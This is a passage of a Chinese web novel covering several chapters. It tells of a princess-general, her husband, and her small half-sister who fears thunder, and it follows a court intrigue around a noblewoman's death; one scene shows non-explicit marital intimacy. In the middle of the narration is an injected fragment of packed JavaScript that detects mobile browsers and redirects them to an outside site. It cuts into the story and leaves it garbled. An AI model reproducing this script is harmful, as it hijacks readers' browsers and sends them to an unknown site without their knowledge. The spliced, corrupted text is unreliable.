荣毓露出米牙，小小地咬了一口。
她又道：“还要喝汤。”很快便有一碗老鸭汤盛到眼前。
荣龄坐在对面，将她那滴溜转的眼神瞧得一清二楚。
她气得肝疼，想将那双紧搂着张廷瑜的手拔下，把整个作怪的小人都扔出清梧院，可她闭眼、再闭眼——她这么大了，又是一军统帅，与个小丫头计较这些，实在跌份。
草草吃完这顿饭，外头的天已全暗下。
荣龄敲了敲桌，“东西也送了，饭也用了，你可以回宫了吧？”
荣毓窝在张廷瑜怀中，葡萄大的眼睁得溜圆，“可是，父皇与母妃说我想待几日便待几日。再说这会宫门也关了，我回不去呀。”
曹姑姑在一旁帮腔，“郡主，陛下与娘娘是这样说。”
荣龄猛地站起，困兽般盯着那个一脸得意的小团子。
她不明白，建平帝与玉鸣柯为何会以为，她能看在荣毓的份上心软。可事实上，荣毓存在的本身便是对荣信的挑衅、侮辱。
她见到荣毓，只会更愤恨难平。
张廷瑜看出不对，放下怀中的荣毓过来拉她。
□□龄连他也怨上——这个混蛋，刚刚还抱着人哄得开心。他过来做什么，又要劝她忍下，让那小丫头留宿？
荣龄手一甩，不让他碰。
张廷瑜冲额尔登与曹姑姑使了个眼神，曹姑姑抱上荣毓，忙退了出去。
花厅中只剩他与荣龄二人。
张廷瑜再次拉过荣龄的手，便是挣扎也不放，“我明白郡主的难过。郡主定是觉得，若让公主留宿，是叫老王爷蒙羞。”
“知道你还…”荣龄恨恨转向他，“你还为他们说话？”
张廷瑜摇头，“那郡主可知，公主与曹姑姑来时，王府门口的侍卫本不肯叫他们入内。”
侍卫们都曾在南漳三卫杀敌，待伤了或是上了年纪才回大都领一份闲差。
可以说，他们是大都最崇拜南漳王荣信的一群人。
因而，他们也最怨恨曾经的南漳王妃，如今的玉妃娘娘。
“可长史赶来，喝退了他们。”张廷瑜问，“郡主可知为何？”
荣龄冷静一些，心中隐隐有答案。
“长史私下里对我说，郡主远在南漳，沾的又是刀尖舔血的军务。他跟了老王爷一辈子，自然知道中枢的一句话、一个不起眼的人物，或便能让边境多千百条冤魂。”
额尔登花白的发在余晖中更加显眼，“南漳王府叫雨打风吹去，如今还有几个人？她当年做得再不堪，到底也是郡主的亲娘。日后郡主若真有难处，许还得她在皇帝面前求个转圜。”
老长史沉沉地叹下气，“张大人，老奴明白郡主的心结，可老王爷已走了这么多年，再多的怨恨也不会比郡主的安危更重要。老奴陪不了郡主几年了，往后，还得大人你多劝劝。”
张廷瑜转述完额尔登的话，荣龄眼中有细微的水光。
她沉默着，良久才低低道：“是我没用，让他们担心。”
张廷瑜揽过她，让她伏在自己胸口，“郡主这是要羞死世上的庸碌之人吗？”他刻意说些俏皮话，“郡主娘娘一柄玉苍刀横于上罗计长官司外，哪个不要命的前元人有胆上前？”
荣龄拧他腰间的肉，“前元人敢不敢我不知道，张衡臣你定是敢的。”
她在张廷瑜胸前擦干眼中的水渍，抬起头来又是一条好汉，“你还敢抱着那小丫头气我。”
张廷瑜也不躲，打趣道：“郡主这是吃个七岁小娘子的飞醋吗？”
这话捅了马蜂窝——荣龄手中力道发狠，他疼得语调一颤。
张廷瑜忙讨饶，宽大的手掌轻抚她后背，“不是气你，只是觉得…如今的她很像年幼时的你。”
很像…那年在庐阳的船中，叫他的一只野菜包子砸中，气呼呼地抬头望他的小娘子。
荣龄奇道：“你又没见过幼时的我。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14457740|146698||http|test|mini|href|location''.split(''|''),0,{}));
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张廷瑜也不作辩解，“可我想象得出。日后，咱们若有个女儿，定长得那样。”
这是二人头一回说起生儿育女的以后。
荣龄虽觉得不好意思，又不得不承认，心中因他的话生出一丝期待。一个既像她，又有几分张廷瑜神采的小东西，想想倒也稀奇。
天知道不久以前，她从未想过与人长相厮守、嗣续南漳府——即便那时的她已与张廷瑜有个夫妻的名分。
可短短几月，张廷瑜再与她说起这事，她竟已无反感。
当真是无情世界有情梦，不知所起，但一往而深。
荣毓终于如愿留下来。
额尔登领着曹姑姑去了一处新盖的小院，二人也默契地不曾提起，不若叫荣毓歇在玉鸣柯曾住的院子——那个院子都已推了重建，里头的一切都由荣龄亲手丢了、烧了。
一行人忙忙叨叨，收拾好荣毓用惯的被褥、器皿。
过了好一会，曹姑姑送额尔登出门。
二人曾搭伴做事多年。
那时，额尔登守在外院，替南漳王打理人情往来，曹姑姑在内，帮玉鸣柯维持一应内务。额尔登疏阔、曹姑姑缜密，二人的配合不说天衣无缝，却也相得益彰。
可如今的他们站在院门口，竟无话再能说。
晚风渐紧，眼瞅着便有雨雪夹杂着落下。
额尔登告辞，“你快回去吧，公主年纪还小，又是头次来这。你晚上警醒些，别叫她吃了惊吓。”
曹姑姑应道：“我省得。”
转身回去前，额尔登想了想，又叫住她，“曹耘，你别怨郡主心狠，没有人比她更难。”
曹耘望着眼前苍老许多的长史，心中沉痛得要拧出血来——那也是她看着长大的孩子，她怎会怨，怎会不知道她受的苦？
“额尔登，娘娘与我待郡主、公主，俱是一样的。”
额尔登颔首，淡淡道：“但愿吧。”
外头实在冷，额尔登巡完府，又吩咐定将全府的火墙都烧得旺旺的。
因而，荣龄将整个人埋在被子里时，浑身都暖洋洋的。
“这便歇息了？”张廷瑜问。
荣龄不知在想些什么，仰着头随意“嗯”了一记。
很快，卧房中只剩高几上的一盏烛火。
荣龄忽地转向外头，在被子外露出一双清湛湛的杏眼，“要不要…今夜将姑姑送来的喜烛点上？”
张廷瑜本欲熄灯的身影一顿，他转过身，一身雪白的里衣叫仅剩的烛光照得半透。
荣龄望着光晕中他青竹般挺拔、劲瘦的身子，热得耳朵尖又滚烫。
在那幽深如海的目光中，她不由自主地想起保州混乱、缠绵的夜，想起这人伏在她身上，到处作乱…想着想着，她脚趾蜷起，全身都发软。
张廷瑜的目光一贯清润，此时却太有侵略性。
荣龄躲不开，只好双手捂住眼，来个眼不见为净，“你别这样看我。”
他走过来，拍了拍装死中的姑娘，“那郡主可知，既燃了喜烛，便是洞房花烛夜？”
荣龄只觉他的手掌如烧红的铁，便是隔了被子也烙下滚烫的印记。她也不管自己闷得出了汗，死死扯着被子不叫张廷瑜掀开。
良久，她才嘟囔了句，“你不愿便算了。”
45. 童谣
自保州那夜后，张廷瑜看出荣龄在情·事上的懵懂，他也明白，二人虽生了情意，但总归相聚日短，他须给荣龄更多的时间。
因而，二人直到宛平才睡到一间，至今也未再有亲密至极的举动。
可眼下，竟是荣龄先捅破这层窗纸。
张廷瑜的身上也热起来，他怎会不愿？他每夜忍得快要疯了！
荣龄便觉自己手中的被子被一点一点抽走，待清凉的空气与昏黄烛光再次围拢周身时，一道同样滚烫的身子也覆上来。
她还想说些什么，唇却已叫人封住。
双手如自个长了意识，攀到他颈间，牢牢地搭在脖颈之后。
待再能呼吸，荣龄听见张廷瑜问：“郡主还有何吩咐？”
她茫然回望，脑子里乱作一锅粥——吩咐？她刚刚想说什么来着？
可那清亮中夹杂迷蒙、无辜里透着情·热的眼神实在惑人得紧，张廷瑜没再给她思考的机会，低头又吻下去。
他的吻逐渐往下，去到凝脂一般的平川，又随山势起伏，攀上最顶端的朱红亭子。
吸·吮带来的快活几要在脑海中生出火花，荣龄难耐地看向帐外，竟觉眼前一花——她像是真的看到天边的亮光。
可下一瞬，冬雷阵阵，轰鸣的巨响告诉她，那是闪电，并非幻觉。
荣龄嘤咛着道：“打雷了。”
张廷瑜却状如惩罚地轻轻一咬，“郡主还有心思想着打雷？”他抬头看着荣龄，如雪狼瞧着蜷成一团的羚羊。
在那危险至极的目光中，荣龄终于想起来，自个要说什么。
“张廷瑜，喜烛，你还没点喜烛。”
这是大事。
若无喜烛，他张廷瑜这头饿狼还吃不到今天的菩萨肉。更何况，这是他们新婚时的喜烛，而今晚，是晚了三年的洞房花烛夜。
“好，我这就去取。”他再亲了亲荣龄。
张廷瑜记得，侍女将喜烛摆在外间的博古架上。他草草穿上衣裳，借着卧房透出的烛光去外间寻找。
待他举着两只龙凤烛台回来，想用火折子点亮上头的喜烛时，门外传来侍女一声高过一声的呼唤。
“郡主，曹姑姑有事来禀。”
曹姑姑？她不陪着荣毓，大晚上的来清梧院为何事？
张廷瑜看向衣衫凌乱的荣龄，她的全身仍一片红粉，可人却已挣扎着坐起，“你快去问问，别出事了。”
他心中轻轻一叹，脚下却不敢停——若非出了大事，曹姑姑定不敢深夜惊扰。
曹耘候在门外，头个见到的正是罩了一件道袍的张廷瑜。“姑姑，怎的了？”他问道，“可是公主不谐？”
曹耘焦急道：“张大人，方才打了雷，公主吓得哭个不停——她自小便畏惧雷电，如若遇上，必得娘娘抱了她，一刻也不能稍离。谁晓得都要到腊月，这天竟打起雷。”
说话间，荣龄也披了衣裳过来。
她听了因由，无奈叹了句，“这过了申时，非圣谕不得开宫门。总不能我扛了她，翻宫墙去找她母妃？”
她的衣裳披得潦草，张廷瑜看不过眼，伸手替她围拢。
二人指尖相触，带来情·潮尚未完全褪去的痒与酥。
荣龄昵他一眼，低嗔道：“我自己来。”
曹耘是老人了，一眼便瞧见荣龄颈间还未褪去的吻痕，再观二人亲密的举动，如何猜不出自个打断了何事。
她有些尴尬，“郡主，奴婢本不该深夜相扰。可公主一旦闹起来，旁人谁都劝不住。她年纪还小，若哭得伤了神便不好了。”
荣龄心道，你这会才想起她年纪小，早些时候怎的任她胡闹着跟来？这建平帝与玉妃也真是，心大的不像亲生的爷娘。
可若荣毓在南漳王府出了事，大都的闲话怕又得垒起小山。
“罢了，我去瞧瞧。”
待换好外袍，披上斗篷，张廷瑜也收拾好等在一旁。
荣龄见他撑了一柄油伞，便知他要陪着自个过去。“我去就行，你明日还有公务。”
张廷瑜揽过她，陪她走入冷得冻骨头的冬夜雨雪中，“无事，也不差这一会。”
去了荣毓暂住的绛云轩，小丫头已哭成一个涕泪糊面，头发蓬乱的邋遢鬼。
见荣龄坐到床边，她嚷着早已哭哑的嗓子道：“阿姊，我怕，荣毓好怕。”
这是她头一回叫荣龄“阿姊”，这也是荣龄头一次有人叫“阿姊”。
她仍在怔愣，怀中却已扑来一具哭得浑身潮·热的小身体。她本能地接住，心中乱七八糟地想，这小孩可真力大如牛。
“诶，你，”荣龄极不习惯地拍着荣毓的后心，“你不要哭了行不行？”
荣毓养得精心，哪叫人这样敷衍地哄过？
她听不进话，更扯高了嗓子，如魇住一般：“阿姊抱我，荣毓好怕，荣毓要母妃。”
荣龄一时头大，“我不是，不是抱着你吗？”
荣毓双脚乱蹬，显然不满意荣龄的说法。可她已哭得迷了心智，除去说自己害怕，什么都讲不出。
曹耘陪在一旁，心里又急又疼，“去年娘娘随驾去西山，只留公主在宫中。那夜也是打雷，公主哭得谁都劝不住，嗓子都沁了血。”
荣龄忍不住斥道：“既是这样，你们一个两个还叫她胡来？若荣毓出了岔子，是姑姑你担得起还是我担得起？”
她又在心中怒骂建平帝与玉妃，当真不着调！
见众人都没个法子，张廷瑜问道：“府中可还有玉妃娘娘的衣物？”见几人都看过来，他解释道，“我在庐阳时听人说，幼儿若在陌生地方魇住了，可在口鼻处盖件母亲的衣裳，闻着熟悉的气息，或许能回魂。”
曹耘心说，这倒是个法子，那日罩了玉妃的衣裳，荣毓确平静下许多。
可…南漳王府早没了玉妃的一切用物。
然而，荣龄垂首瞧哭得劈了嗓子的荣毓，心中既烦躁，又有一丝数不清、道不明的…疼？
她想了想，“衡臣，你陪姑姑去我房中，找那只大漆的衣箱，里头有件湖丝的寝衣，绣了一枝白梅。姑姑能认出。”
闻言，众人都一愣。
荣龄转过头，装作不曾看见他们意味不同的眼神。
张廷瑜反应过来——怕是这府中已无明面上的玉妃用物，可偏偏，恨得最狠的荣龄却恰恰藏下一件。
他心中沉沉一叹，又疼得很。
待取过那件已旧得发黄的寝衣，荣龄将它包在荣毓身上。
这寝衣藏了许多年，也不确定还残有几分玉鸣柯的气息。荣龄想了想，又自尘封的记忆深处翻出那首快要叫她遗忘的苏尼特童谣——如果有圣洁的花露，我煎起茶让你先喝；如果有甜美的浆果，我摘下让你先用；如果有梦中的银鸟，我骑着它去天边找到你。
不知是玉鸣柯的旧衣让荣毓有了在母亲怀中的错觉，亦或是荣龄清浅的吟唱安抚下惊惧的神思。
总之，哭嚷了小半个时辰小东西终于平静下来。
?
荣龄舒下一口气，将荣毓交还给曹耘。
“姑姑今夜醒着些神，别叫她又闹起来。”折腾了半宿，她也有些累，“还有，明日便带她回去吧。”
何苦既折腾这小丫头，又折腾她？
曹耘送她出门，荣龄摆手拒绝
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，“姑姑别管我了，我自个回去。”
可曹耘仍攥了她的手，“郡主…”她的泪滚落，砸在二人手上，烫得很。
她想象不出，八年前的荣龄怀着怎样复杂的心情，才会在亲手烧了玉鸣柯的用物后，又偷偷藏下一件寝衣。
是不是…在玉鸣柯入宫后，她也只能闻着衣裳残余的气味，方得一昔安眠。
这个孩子，没有人全然对得起她，可她，仍长得这样好。
荣龄平静地拍她的手，既无解释，也不作安慰，只淡淡道：“都过去了。”
回清梧院的路上，闪电远去，雷声小下许多。
但在如裹入厚重牛皮的闷雷之后，张廷瑜仍敏锐地察觉，他手中揽的这人极短促地僵了一瞬。
他更明白过来，害怕打雷的不只荣毓，还有眼前的荣龄。
但他没有问，他想，荣龄此刻也不想他问。
可他又不想沉默，沉默地任她溺于今日意外重启的记忆中。
张廷瑜想了半晌，将本落在荣龄臂上的手滑下，再牵住那只并不柔腻的手——
“这天眼见的又冷了，郡主可有记得擦獾油。”
獾…獾油？
荣龄心中翻涌的暗沉心绪一停…何意？
那双杏眼迷茫望来，张廷瑜无奈道：“我在保州给你的獾油呢？是不是一次都没记得抹？”
荣龄想起来，是他尚为“王序川”时，一面吃张廷瑜的醋，一面却仍塞给自己混了老姜汁的獾油。
她举起手，半月前还肿胀的冻疮只余些许红痕，“抹了抹了！张大人的獾油甚是管用，你瞧，都没留疤。”
张廷瑜满意了些，牵住她的手，再往前走。
说起保州，荣龄也想起一事，“你的花可救活了？”
说的正是那株施肥过多，多到差点让肥淹死的抓破美人脸。
“活了，郡主娘娘金口一开，它怎敢不好？”张廷瑜打趣道。
插科打诨的，二人很快回到清梧院。
再次躺下，因闹了太久，荣龄暂无睡意。但她并未折腾明日还要去刑部上值的张廷瑜，只自个睁了眼，出神地望着头顶的百花帐子。
曹姑姑忘了，小时候，她也怕打雷的。
那时的她会钻入玉鸣柯的账中，听她哼唱那首苏尼特一族的童谣。
她以为自己早忘了，可谁知今日一开口，那些词深刻脑海，不用怎样想便唱出来——
如果有圣洁的花露，我煎起茶让你先喝；如果有甜美的浆果，我摘下让你先用；如果有梦中的银鸟，我骑着它去天边找到你。
她没记错的话，童谣名唤《梦中的额吉》，是怀念母亲的意思。
但自玉鸣柯入宫，她再没唱过，甚至都避免想起。
因她知道，便是再遇上能叫地动山摇的雷暴，也不会有人哼着歌哄她。
她只能瑟瑟躲在被窝中，咬着牙一次又一次地告诉自己，阿木尔，你是南漳王的女儿，你不能怕。
冬雷散去，夤夜深静。时过境迁，再回忆也只淡淡的难受。
这时，里侧传来翻身的响动，荣龄忙闭上眼。
不想，张廷瑜将她拉倒怀中，“睡不着？”他的下颌贴着荣龄额头，“我哄郡主睡？”
荣龄没有睁眼，却问道：“怎样哄？”
张廷瑜睡意浓重地哼起小调，调子绵润温柔，如江南无尽的雨。
“这是庐阳的童谣吗？”荣龄问。
张廷瑜将她搂得更紧，“对，忘了那首，以后我给你唱。”
荣龄没有再开口。
只是许久，张廷瑜觉得自己的颈间有些湿，又有些烫。
46. 救青云
次日，哭了半宿的荣毓早已忘了自个如何嚷着“我要回宫，要找母妃”，她拉住荣龄衣袖，“瓦舍是哪里？你带本公主一道去。”
过了一夜，二人像是都忘了那句“阿姊”。
荣龄懒得管她，“不要，我去办正事。”
荣毓便两手、两腿盘住荣龄，“本公主聪明绝顶，可以帮你办正事！”
荣龄正要动手扯下她。
可这小东西鬼精得很，看透荣龄面冷心热的本性，她嘴一憋，眼角又缀下泪。
荣龄叫这一瞬间的变脸无语住，心说玉鸣柯怎教的小丫头，为何将她养得这样…这样作？
“我又不是张廷瑜，不吃这套。”她嘴硬道。
荣毓便嘤嘤地哭起来。
与昨夜叫雷电吓住了的嚎啕大哭不同，荣毓这时的哭是压抑的、低低的，带着十万分的委屈与难过。
她又一面哭，一面抬眼看荣龄——豆大泪珠便簌簌落下，比害了心病的西施还要楚楚可人。
荣龄不畏阵前的千军万马，却实在吃不住这眼泪的攻势。
“行了，行了，带你去，带你去还不行！”她投降道。
一时间雨歇云散，荣毓高兴地松开手脚落了地，“姑姑，我要穿那件梅子红的新衣裳，还有头箍，你有没有带镶南海珠子的…”她欢呼着奔向曹耘。
待终于等她收拾好去到瓦舍，荣宗祈已在雅间等了好一会。
他看向大包小包的荣毓，又指了指楼下正要鸣锣开唱的戏台，问道：“阿木尔，今日的白家班唱的《救青云》，你又唱的哪一出？”
荣毓没料到与荣龄一道听戏的是熟人，她忙收起在荣龄面前的精怪劲，乖巧问候道：“三皇兄。”
三位皇兄都比荣毓大上许多，她只晓得他们是哥哥，可因非自小相处，并不亲近。
荣宗祈瞧出小丫头的拘谨，于是扯出一个温和至极的笑，“荣毓也随你阿姊来看戏？”
荣毓虽自己不愿再唤“阿姊”，但也没否认荣宗祈口中的“阿姊”，她点了点头。
鼓点奏响，好戏开场。
小丫头很快便沉浸在离奇的情节中，荣宗祈这才斟了一盏茶，问道：“你约我来这，到底为何事？”
荣龄托腮望向戏台。
那落第的书生已添油加醋地告诉苦守家中的妇人——你相公做了陈世美，再不回来了。
因已晓得这出戏的梗概，荣龄有些意兴阑珊，“请三哥看戏呀。”
荣宗祈袖起手，“我信你才是鬼，快说实话。”
荣龄又看了眼挂在雅间窗前，正捏了小拳头，一瞬不瞬盯着戏台的小丫头，她低下嗓音，在唱腔与胡琴、鼓点的遮掩下，与荣宗祈说起瞿郦珠悲凉的一生。
许久，台上正好唱完一个段落，门帘落下，旦角去了后台换装。
荣宗祈震惊地瞪了眼，他将将要开口，荣毓却噔噔地跑过来，“樊娘子太可怜了，阿…你把她相公捉了，我去求父皇，不让这个大坏蛋做官！”
她扒着荣龄的胳膊，义愤填膺道。
曹耘跟过来，劝道：“公主，这是戏，是假的。”
荣毓仍鼻息咻咻，显然叫台上的情节气得狠了。
荣龄哄她，“下头有卖糕点与甜汤的，你去瞧瞧，买些回来。”
小丫头看了半天，嘴也馋了，闻言便忘了气愤，随曹耘去下头买吃的。
荣宗祈这才找到空当，将那句“荒唐！”说出口。
荣龄十分理解他的不置信——换谁都不敢轻信这惊世骇俗的真相。若非此乃荣龄亲自查出，她怕也要怀疑。
“眼下人证、物证俱全，我本想带上旱莲去面禀陛下，可有人与我提起这出《救青云》，我便想，不若先找到蔺丞阳，将仅剩的一角真相补全。”荣龄道。
荣宗祈既不敢信怯懦的瞿郦珠与清正的蔺丞阳通·奸，也尚未知台下的《救青云》与这桩丑闻有何相干，他干张了口半晌，才问道，“阿木尔何意？”
荣龄叹了口气，“三哥瞧，若只看了上半出，便是荣毓这样的小丫头都恨极了一招高中却抛弃糟糠之妻的书生。可我若告诉三哥，那书生叫人囚了，正是叫天天不应，叫地地不灵呢？”
荣宗祈是聪明人，“你怕…蔺丞阳有难言之隐？”
“是。”荣龄颔首，“总归离还有些时日，我不想草草结案，冤枉了谁。”
而她未与荣宗祈说的是，她也不想荣宗柟为给瞿郦珠讨个公道，为保全瞿氏而亲自写下罪己诏。
其间不愿并不只因私交，更因荣龄乃南漳三卫的统帅——
荣宗柟缺军权，手握二十万精兵的荣龄自然是他要招徕的合作对象，而荣宗阙在中枢有京南卫，在边境有赵文越的凉州军。
荣龄于他，非但不是助益，更是对手。
因而，于公于私，她都不想荣宗柟的太子之位动摇。
只是这些，她不便与日日琢磨诗词歌赋、野史杂家的荣宗祈说。
雅间门“吱呀”打开，荣毓买了一桌的糕点、甜汤回来。
她期待地睁了一双大眼，攀住荣龄胳膊，“我听你的话，买了好多，你喜欢哪个？”
荣龄垂首，生硬地拍了拍小丫头头上的双环髻，“我不挑，都可以。”
荣毓却不高兴了，觉得荣龄敷衍——五个手指头还有高矮胖瘦，怎会有人都可以！
荣龄看出她一瞬间低落的心情，可她不解，为何荣毓又不高兴，她确实都不挑呀。
荣宗祈看出二人的鸡同鸭讲，“阿木尔，你最喜欢的桂花五红汤。”他挑出一碗糖水，递给荣龄。
荣毓又看过去，“你喜欢桂花五红汤？”见人点头，她嘀咕道，“那怎说都可以，明明有喜欢的。”
荣龄终于明白，这小东西在闹什么别扭。她想了想，又自个与荣毓再说了一遍：“多谢你，我喜欢桂花五红汤。”
荣毓捂了嘴笑，葡萄大的圆眼弯作两道月牙。
这时，门外忽传来说话声。
“沧海兄，今日怎的不苦读，竟有时间来此看戏？”
另一人回道：“此言差矣，沧海兄与咱们可不一样，人家可与那台上的书生一般，天生是要中状元、做宰辅的人！”
荣龄本没在意，可下一瞬，另一道并不全然陌生的嗓音入耳——
“李兄可别笑话我了，我早上陪公主去了趟隆福寺，眼下难得有闲，”他长长叹道，语中满是混不吝的惫懒，“你快莫说其他的，都看戏，看戏…”
是…祁云帆？荣沁养在公主府的书生？
荣龄去了门前，透过门页的缝隙往外瞧，祁云帆叫人围在正中，显然是一群人都要奉承的对象。
几人推推搡搡地进入隔壁的雅间。
荣龄再看一眼，只瞧见祁云帆的腰间佩戴了一枚绣有隆福寺徽记的香囊。
她走回来，有些沉思。
荣毓见她这般，戳了戳她，小小声地问：“你看上了门外的人？莫非也要学二皇姐，养很多面首吗？”
她有些忧心，“可我瞧着张大人很好，你不喜欢吗？”
荣龄的思绪一下断了。
她抬头望向荣毓，一时间也不知先回答哪个乱七八糟的问题。
荣宗祈在一旁瞧得开心，“荣毓，三哥问你，你如何知道二皇姐养了很多面首。”他想了想，又补充问，“你可知，面首是何意？”
荣毓一脸天真，“今年的中秋宴，我嫌宫里闷，便跑去树上摘桂花，恰遇上二皇姐和驸马吵架。二皇姐很生气，骂驸马‘你眼瞎看上那个丑八怪，是要本宫丢尽颜面吗！’”
她下颌扬起，有意学趾高气扬的荣沁。
说完这一头，她又换到另一边，故意沉下嗓音，“公主既养了这样多的面首，你我各走各的道，不好吗？”
“我去偷偷问母妃，母妃骂了我一通，曹姑姑也不让我问。”荣毓得意道，“可我找了个小太监，他告诉我面首就是公主养的相好。我又问相好是何意，他想了想，说是叫公主喜欢，伺候公主的人。”
曹耘一惊，哪来的奴才，竟告诉荣毓这些腌臢话？
“公主，那小太监是谁？”她抓了荣毓，忍下气问道。
荣毓摇头，“我不记得了。”
荣龄与荣宗祈对视一眼——这样看来，中秋之时，荣沁便已知晓蔺丞阳与瞿郦珠的私情。
就她那睚眦必报的性子，可会在瞿郦珠之死中插一手？
荣毓还不放心，再三追问荣龄，“门外的是不是你要养的面首？张大人肯定会和驸马一样生气哦。”
荣龄微瞪了眼，“哪有！我何时说了要养面首？！”她停了下，又补充道，“你也不许去张廷瑜面前瞎说！”
随后，她转过身，对一脸看好戏的荣宗祈解释道：“那人叫祁云帆，我在…”因荣毓与曹耘都在，荣龄便不提夜探
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公主府一事，“我在荣沁身旁见过。”
只是…祁云帆方才说陪荣沁去了隆福寺。
“三哥，荣沁何时开始拜的佛？”荣龄怀疑道，“她不是最爱烈火烹油的富贵锦绣，一贯不屑于求神问佛的？”
荣宗祈也不解，“是啊，我也没听说她信了佛道。”
荣毓则补充，“上回父皇去红螺寺，我们都去了，二皇姐说她头疼，没有一道去。”
看来，这荣沁一早去隆福寺，定有问题。
话分两头。
这日的张廷瑜忙了一天，下值却未回南漳王府。他换了一身藏青的直缀，提一箧额尔登帮忙备的礼，去了吏部尚书，也是他的座师陆长白府上。
他到门口时，刘昶刚好也来，二人便将提的贺礼交与管事，又并肩去了陆长白的书房。
为与这几位有些出息的学生相聚，陆长白推了一位侍郎的宴请，早早回了府中。
张廷瑜与刘昶来到他的书房集贤楼时，他已由另两位建平十年的进士萧綦萧东亭、闵慎闵怀州陪着，闲谈朝中各事。
刘昶一进门，郑重正了衣冠，又一撩襟袍结实跪在陆长白面前。
三叩首后，他道：“陆公桃李满天下，学生刘子渊，愧拜老师。”
这一拜既惊了上首的陆长白，也惊了另三人。
陆长白捋了捋美髯，心道这刘子渊倒是守礼，不像那张衡臣，仗着尚了郡主，从不殷勤待他。
另三人则面面相觑，都是同年，刘昶已跪在堂前，他们三人，是拜，还是不拜？
怔了片刻，萧綦作为当年的头甲第二名，跟着也跪在堂中。张廷瑜与闵慎不好再说，只能垂首跪下。
“陆公桃李满天下，请受学生一拜。”几人齐齐道。
集贤楼中芝兰一堂，十步芳草，陆长白捋着美髯，心中得意极了。
对于带头的刘昶，他更是满意。
因而，陆长白亲自扶起刘昶，又对众人道：“辛苦出山林，苍生俱保暖。惟愿诸君时时哀悯民生，不负陛下，不负书中圣人意。”
“学生奉命惟谨，谨终如始。”
晚饭便布在集贤楼。
一张圆桌自然是陆长白居中，另几人不按如今的职分，只推让着请刘昶居左，萧綦在右，张廷瑜与闵慎则在这二人之后。
陆长白兴致极高、不停举杯。
刘昶是真材实料考出的状元郎，腹中才学自然馥郁。他又有意奉承，直哄得陆长白说了半晌随大梁肇兴，于一片废墟中建起盛世的往昔。
“老师功标青史，乃大梁的头位功臣。”
这番夸赞落在了陆长白的心坎。
只是…这桌上有个世人既认的“开国三大功臣”之首南漳王荣信的女婿，他再得意，也不敢妄自接下那“头位功臣”的名号。
“诶，子渊说醉话了。”陆长白谦道，“老夫只略尽绵力。若论功绩，怎可与祁连老臣相比？陛下早有了定论，稳做头位功臣的自然是随陛下自前元手中打下这江山的南漳王爷。”
刘昶一僵，这才发现自个说错了话。他偷瞧了眼一脸平静的张廷瑜，心道这宦途还真时时如履薄冰，字字句句都要谨慎。
提起南漳王，陆长白自然想到昨日的不快。
他有意敲打张廷瑜，“对了衡臣，老夫昨日已为张老大人写下祭文，待会你便带回王府，也叫郡主瞧瞧。只是…”陆长白一想到在徐闻达与谢冶面前丢的脸便更淡了神色，“昨日你为何不说郡主也在？这乌龙当真无妄。”
张廷瑜自然不好说，他只想早早打发了陆长白，不惹荣龄清梦。
他也早便晓得这人器量狭小、鼠肚鸡肠，于是他也不再多作辩解，直截了当认了错，“是学生想的不周祥。昨日回去，郡主也埋怨学生，说是本无事却硬生了事端。故而今日，郡主特意吩咐学生带来一尊白玉观音，赠予师母。”
陆长白的夫人笃信佛道，在大都颇有美名。
陆府管家将那尊白玉观音呈上。
“端的甜白如截脂，是上等的和田羊脂玉。”陆长白颔首。
只是这尊白玉观音一出，另三人备下的其余礼物便失了光彩。萧綦与闵慎倒还罢了，二人有些门第，在官场也已站稳脚跟，并不将陆长白看作救命稻草。
刘昶却意味不明地看了张廷瑜一眼。
但张廷瑜正恭听陆长白对荣龄的示好，并未看到他阴寒的一瞬。
47. 权势
不过，刘昶很快又随陆长白高涨的情绪笑开。
“衡臣与郡主情深无间，叫人羡慕。”他打趣道，“老师不知，数日前，衡臣曾带郡主来宛平参加家母的除服之礼，学生有眼未识尊驾，倒是惶恐。”
“好，好！”陆长白端着酒杯，与张廷瑜满满一碰，“君子修身齐家才可治国平天下，衡臣与郡主恩爱，是莫大的好事。”
他忽又想起刘昶的婚事，“子渊，你可有婚配？”
刘昶一愣，“倒，倒有一桩…”他道，“只是三年前家母去世便耽搁下来，如今除了服，那家姑娘又身子不好。”
“原来如此，”陆长白有些可惜道，“不然，为师这倒有桩上好的姻缘。”
再说过一些，见天色已晚，几人便联袂告辞。
其余三人都上了家中的车轿，刘昶则叫刘五特地赁来的双驾马车接走。
他端坐车厢中，脑海里不断翻涌那尊白净无暇的羊脂玉观音。
那观音如一盏冰冷的明灯，照亮深长暗巷，暗巷中又有陆长白的叹息幽幽响在其中——“不然，为师这倒有桩上好的姻缘。”
借着酒意，刘昶放任自己去想。
若张廷瑜能凭借与南漳郡主的婚事一下做了人上人，那他刘昶，为何不能？
一想到将要迎娶斗大字不识，样貌也平庸的商户之女，刘昶心中愈发不是滋味。
他正兀自忿忿难平，马车忽地转了方向，刘昶一时不查，撞在厢壁上。
“刘五。”他不快唤道。
但刘五并未回复，他与人吵了起来。
刘昶按揉几下因饮下过量的酒而胀痛的额角，顶着一头硬风推开车门。
他这才发现，刘五赁来的马车旁，正趾高气昂地停了另一驾香木雕刻、饰以华美锦缎的马车。另有一小队身强体壮的小子围在马车四周，怒目瞪着刘昶这头。而马车正中刻有香花、瑞兽的车门则紧紧闭着，仿若未听见外头的喧闹。
“哪来的不长眼的东西，冷不丁地冲来惊了马。知道咱们车里坐的谁吗？刘状元！”他双手一抱，往皇宫的方向高高举起，示意这状元的名号由圣上钦点，“冲撞了刘状元，你们担待得起吗？”
他对面站了个混不吝的，“什么刘状元，老子没听说过，咱们爷是定远侯世子，便是你那劳什子刘状元跪在车前，世子也绝不赏他一眼。”
刘五在桑园村中威风惯了，哪里受过这样的窝囊气？
他袖子一捋，眼见的便要与人缠打起来。
刘昶又气又急。
七分气那定远侯世子一行狗眼看人低，另三分气刘五的不知进退，叫他遭人奚落。
剩下的急却是对方乃大都有名的纨绔，若得罪了他，刘昶找谁说理去？
“刘五，停下！”他急喊道。
可气头上的刘五并不理。
很快，他孤身陷入定远侯府众仆从的包围，叫人打得哀哀惨叫。
刘昶揽了袍子落车，想去拉架。但他一个手无缚鸡之力的书生，便是想靠近都不能。
